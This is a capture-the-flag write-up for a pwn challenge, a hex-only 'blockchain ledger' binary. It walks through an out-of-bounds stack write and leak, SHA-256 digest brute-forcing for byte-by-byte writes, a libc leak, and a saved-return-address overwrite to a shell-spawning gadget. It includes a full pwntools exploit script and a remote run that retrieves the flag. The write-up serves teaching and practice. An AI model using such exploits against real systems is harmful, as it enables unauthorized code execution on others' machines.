This one was a pretty fun pwn challenge because the bug is not just “send a long input and overwrite RIP”.
The program only lets us type lowercase hex strings, then it hashes the transaction with SHA-256 and appends the raw digest into a stack buffer. That small detail changes the whole exploit. We are not directly writing the payload. We are farming SHA-256 outputs until the digest bytes behave exactly how we want.



First Look
The service is a small menu-based “blockchain ledger”:

There are only three actions:
1. Add transaction record to ledger
2. View ledger
3. Exit cryptocurrency exchange
The binary protections look like this:

The important part for me was:
| Protection | Meaning for the exploit |
|---|---|
| No canary | A stack overwrite is realistic. |
| PIE | We need a leak before jumping anywhere useful. |
| NX | Stack shellcode is not the route. |
| Full RELRO | GOT overwrite is not attractive. |
| SHSTK / IBT | We should avoid relying on a messy indirect branch trick. |
So the rough plan is already visible: leak an address, compute libc, overwrite the saved return address, then return into a libc gadget.
Before writing the exploit, I first asked the decompiler output to be cleaned up and explained. That gave me a faster map of the variables and the menu flow, but the first guess was not quite right.

The Fake Command Injection Bait
The core logic lives in blockchain(). When adding a transaction, the program asks for three fields:
From account
To account
Money amount
At first glance this line looks very suspicious:

snprintf(cmd, 0x200, "echo -n \"%s\" | sha256sum", formatted);
popen(cmd, "r");
I also looked at it and thought, “okay, command injection?” But all three input fields must pass is_hex_str(), so we only get:
0-9a-f
No quotes, no semicolons, no spaces, no shell metacharacters. So that path is basically bait.

The real bug is below that.
Where The Bug Actually Is
The transaction gets formatted, hashed, then appended into a local stack buffer:

The local ledger is only 0x200 bytes:
char chain[0x200];
memset(chain, 0, 0x200);
counter = 0;
Each transaction appends up to 0x20 bytes:
strncat(chain, hex, 0x20);
counter++;
That means 16 full digests exactly fill the buffer:
0x200 / 0x20 = 16
The program never checks whether counter is too large, so the 17th transaction can go past the end of chain.
There is also a read-side bug in “View ledger”:

It prints counter * 0x20 bytes, not the real string length. Once counter becomes 17, it prints 0x220 bytes and leaks 0x20 bytes after the stack buffer.
So we get both sides:
| Primitive | Why it happens |
|---|---|
| OOB write | strncat(chain, hex, 0x20) can append past chain. |
| OOB leak | View ledger trusts counter * 0x20. |
Why The SHA-256 Digest Is The Whole Trick
The weird part is that hex is not an ASCII hex string. The program parses the sha256sum output into raw bytes.
So if the hash starts with:
ef c7 39 ...
then hex[0] is the byte 0xef, not the character 'e'.
That matters because strncat() treats its source as a C string:

At this point the two bugs line up nicely: one path lets the digest move past the stack buffer, and the other path lets the program print past that same buffer.

For this challenge, null bytes in the digest are not annoying. They are the exploit.
I fixed from = "1" and to = "2", then brute forced money until the SHA-256 digest had the pattern I needed:
def tx_digest(from_acct, to_acct, money):
msg = f"From: {from_acct}, To: {to_acct}, Money: {money}".encode()
return hashlib.sha256(msg).digest()
These are the three useful digest shapes:
| Digest shape | Use |
|---|---|
no \x00 byte | Append the full 32 bytes and fill chain. |
digest[0] == 0 | Append nothing, but still increment counter. |
digest[0] == wanted and digest[1] == 0 | Append exactly one controlled byte. |

Because SHA-256 behaves randomly enough here, the brute force is cheap. A first-byte zero takes about 256 tries on average. A two-byte pattern takes about 65536 tries, which is still fine for this exploit.
Exploit Plan
The full exploit flow became four steps:

- Fill
chainwith 16 full digests that contain no null bytes. - Send one digest starting with
\x00to increasecounterwithout changing the stack. - Use “View ledger” to leak stack data and recover libc.
- Use one-byte digest writes to overwrite saved RBP and saved RIP.
Step 1: Fill The Ledger
The first stage is just making sure chain is completely full.

The important condition is:
b"\x00" not in digest
If any null byte appears inside chain, future strncat() calls will stop there and append at the wrong place. So the exploit first finds 16 clean digests, sends all of them, and fills:
chain + 0x000 ~ chain + 0x1ff
After this, the next append has to keep scanning beyond the end of the buffer to find a null terminator.
Step 2: Leak The Stack
For the 17th transaction, I used a digest where:
digest[0] == 0

Because the source string starts with \x00, strncat() appends no digest bytes. But the program still runs:
counter++;
So now:
chain = still exactly the original 0x200 bytes
counter = 17
Then “View ledger” prints:
17 * 0x20 = 0x220 bytes
That leaks 0x20 bytes after chain.
The useful layout was:

The libc leak came from:
LEAK_RET_OFF = 0x2A578
libc.address = u64(mem[0x218:0x220]) - LEAK_RET_OFF
This offset matched the provided Ubuntu GLIBC 2.41.
Step 3: Make It A Byte-Wise Write
After the 16 full digests, chain has no null bytes. When strncat() searches for the end of the destination string, it walks past chain.
In this layout, the first useful null byte is at the low byte of saved RBP:
chain + 0x200
So the next append starts there.
Now if I find a digest like this:
digest[0] == wanted_byte
digest[1] == 0
strncat() writes exactly one byte, then appends its own null terminator after it:
current byte = wanted_byte
current byte + 1 = 0x00
That new null terminator becomes the next write position. It is slow, but stable.
![Slide showing byte-by-byte overwrite of saved RBP and saved RIP using digest[0] as the wanted byte and digest[1] as zero.](/_astro/slide-17.DoXkKIZf_Z9Xy7o.webp)
The write loop is basically:
for b in payload:
tx = find_tx(lambda d, want=b: d[0] == want and d[1] == 0, nonce)
add_tx(io, tx)
Step 4: Overwrite Saved RIP
The write starts at saved RBP:
chain + 0x200 : saved RBP
chain + 0x208 : saved RIP
So the payload is:
target = libc.address + 0x5BDB6
payload = b"A" * 8 + p64(target)[:6]
The first 8 bytes are just fake saved RBP. The next 6 bytes overwrite saved RIP.
I only wrote 6 bytes of the return address because userland addresses normally look like:
0x00007fxxxxxxxxxx
The high two bytes are already zero, and writing fewer bytes also avoids needing null bytes in the payload.

For the gadget, one_gadget suggested a few options, but the reliable target was:
libc + 0x5bdb6
It lands slightly earlier in the posix_spawn("/bin/sh", ...) path. Starting at the later suggested address did not set up enough state for my run, but 0x5bdb6 executes the setup instructions first, so the shell path works.
After all byte writes are done, choose exit:
io.sendlineafter(b"Enter your choice: ", b"3")
When blockchain() returns, RIP goes to the libc gadget.
Exploit Script
The exploit script is not very long, but the important part is to separate the digest search from the menu interaction. I kept the transaction fields fixed except for money, then used the hash output as the thing I actually controlled.
The digest helper looked like this:
FROM = "1"
TO = "2"
def tx_digest(money):
msg = f"From: {FROM}, To: {TO}, Money: {money}".encode()
return hashlib.sha256(msg).digest()
def find_tx(check, start=0):
nonce = start
while True:
money = format(nonce, "x")
digest = tx_digest(money)
if check(digest):
return money, digest, nonce
nonce += 1
Then the menu wrapper just sends one transaction:
def add_tx(io, money):
io.sendlineafter(b"Enter your choice: ", b"1")
io.sendlineafter(b"From account: ", FROM.encode())
io.sendlineafter(b"To account: ", TO.encode())
io.sendlineafter(b"Money amount: ", money.encode())
For the leak, I used the ledger view and parsed the printed hex back into bytes:
def leak_chain(io):
io.sendlineafter(b"Enter your choice: ", b"2")
out = io.recvuntil(b"1. Add transaction", timeout=5)
chain = out.split(b"Chain status:\n", 1)[1]
chain = chain.split(b"1. Add transaction", 1)[0]
hex_bytes = b"".join(
line.strip()
for line in chain.splitlines()
if line.strip()
)
return bytes.fromhex(hex_bytes.decode())
The main exploit flow is basically the four slide steps translated into code:
LEAK_RET_OFF = 0x2A578
ONE_GADGET = 0x5BDB6
nonce = 0
# 1. Fill chain with 16 full 32-byte digests.
for _ in range(16):
money, digest, nonce = find_tx(lambda d: b"\x00" not in d, nonce)
add_tx(io, money)
nonce += 1
# 2. Increase counter to 17 without appending anything.
money, digest, nonce = find_tx(lambda d: d[0] == 0, nonce)
add_tx(io, money)
nonce += 1
# 3. Leak stack data and recover libc.
mem = leak_chain(io)
libc.address = u64(mem[0x218:0x220]) - LEAK_RET_OFF
# 4. Walk saved RBP and saved RIP byte by byte.
target = libc.address + ONE_GADGET
payload = b"A" * 8 + p64(target)[:6]
for wanted in payload:
money, digest, nonce = find_tx(
lambda d, wanted=wanted: d[0] == wanted and d[1] == 0,
nonce,
)
add_tx(io, money)
nonce += 1
io.sendlineafter(b"Enter your choice: ", b"3")
io.interactive()
Full code:
#!/usr/bin/env python3
from pwn import *
import hashlib
import os
import re
import subprocess
context.binary = exe = ELF("./chal", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.log_level = args.LOG or "info"
LEAK_RET_OFF = 0x2A578
ONE_GADGET = 0x5BDB6
def tx_digest(from_acct: str, to_acct: str, money: str) -> bytes:
msg = f"From: {from_acct}, To: {to_acct}, Money: {money}".encode()
return hashlib.sha256(msg).digest()
def find_tx(pred, start=0):
from_acct = "1"
to_acct = "2"
n = start
while True:
money = f"{n:x}"
digest = tx_digest(from_acct, to_acct, money)
if pred(digest):
return from_acct, to_acct, money, digest, n
n += 1
def start():
if args.REMOTE or (args.HOST and args.PORT):
return remote(args.HOST, int(args.PORT))
target = "./chal_patched" if os.path.exists("./chal_patched") else "./chal"
return process(target)
def maybe_auth(io, data: bytes) -> bytes:
if b"ctfd token>" not in data.lower():
return data
token = args.TOKEN or os.environ.get("CTFD_TOKEN")
if not token:
raise RuntimeError("remote service requires CTFd auth; run with TOKEN=<your token>")
io.sendline(token.encode())
return io.recvuntil(b"stamp> ", timeout=15)
def maybe_solve_pow(io, data=b""):
if not data:
data = io.recv(timeout=1)
if not data:
return b""
if b"hashcash" not in data.lower() and b"proof" not in data.lower():
io.unrecv(data)
return data
if b"stamp> " not in data:
data += io.recvuntil(b"stamp> ", timeout=15)
text = data.decode(errors="ignore")
bits = re.search(r"(?:-mb\s*|at least\s+|bits?\D+|difficulty\D+)(\d+)", text, re.I)
resource = re.search(r"resource\s*[:=]\s*([!-~]+)", text, re.I)
if not resource:
match = re.search(r"hashcash\s+-mb\s+\d+\s+([!-~]+)", text, re.I)
resource = match
if not bits or not resource:
log.warning("PoW prompt was not recognized; continuing without solving it")
io.unrecv(data)
return data
stamp = subprocess.check_output(
["python3", "pow_solver.py", bits.group(1), resource.group(1)],
text=True,
).strip()
io.sendline(stamp.encode())
rest = io.recvuntil(b"Enter your choice: ", timeout=15)
if rest:
io.unrecv(rest)
return data + rest
def add_tx(io, tx):
from_acct, to_acct, money, _, _ = tx
io.sendlineafter(b"Enter your choice: ", b"1")
io.sendlineafter(b"Enter From account: ", from_acct.encode())
io.sendlineafter(b"Enter To account: ", to_acct.encode())
io.sendlineafter(b"Enter Money amount: ", money.encode())
def leak_chain(io):
io.sendlineafter(b"Enter your choice: ", b"2")
out = io.recvuntil(b"1. Add transaction", timeout=5)
chain = out.split(b"Chain status:\n", 1)[1].split(b"1. Add transaction", 1)[0]
hex_bytes = b"".join(line.strip() for line in chain.splitlines() if line.strip())
return bytes.fromhex(hex_bytes.decode())
def main():
nonce = 0
filler = []
for _ in range(16):
tx = find_tx(lambda d: b"\x00" not in d, nonce)
filler.append(tx)
nonce = tx[4] + 1
leak_tx = find_tx(lambda d: d[0] == 0, nonce)
nonce = leak_tx[4] + 1
io = start()
data = io.recv(timeout=2)
data = maybe_auth(io, data)
maybe_solve_pow(io, data)
for tx in filler:
add_tx(io, tx)
add_tx(io, leak_tx)
mem = leak_chain(io)
libc.address = u64(mem[0x218:0x220]) - LEAK_RET_OFF
target = libc.address + ONE_GADGET
log.success(f"libc base = {libc.address:#x}")
log.success(f"one gadget = {target:#x}")
payload = b"A" * 8 + p64(target)[:6]
if b"\x00" in payload:
raise RuntimeError(f"payload contains NUL byte: {payload.hex()}")
for b in payload:
tx = find_tx(lambda d, want=b: d[0] == want and d[1] == 0, nonce)
nonce = tx[4] + 1
add_tx(io, tx)
io.sendlineafter(b"Enter your choice: ", b"3")
if args.CMD:
io.sendline(args.CMD.encode())
print(io.recvall(timeout=3).decode(errors="replace"))
else:
io.interactive()
if __name__ == "__main__":
main()
The nice thing about this script is that every write is deterministic after the digest is found. There is no guessing during the actual overwrite. The brute force happens locally, then the remote service only receives normal-looking hex transaction fields.
Remote Details
python3 solve.py \
HOST=chals1.ais3.org \
PORT=21337 \
TOKEN='<your ctfd token>' \
CMD='cat flag.txt; exit'
Output:
Bye bye!
AIS3{S1Mpl3_BLoCKcHa1n_N0t_$Impl3_PWn}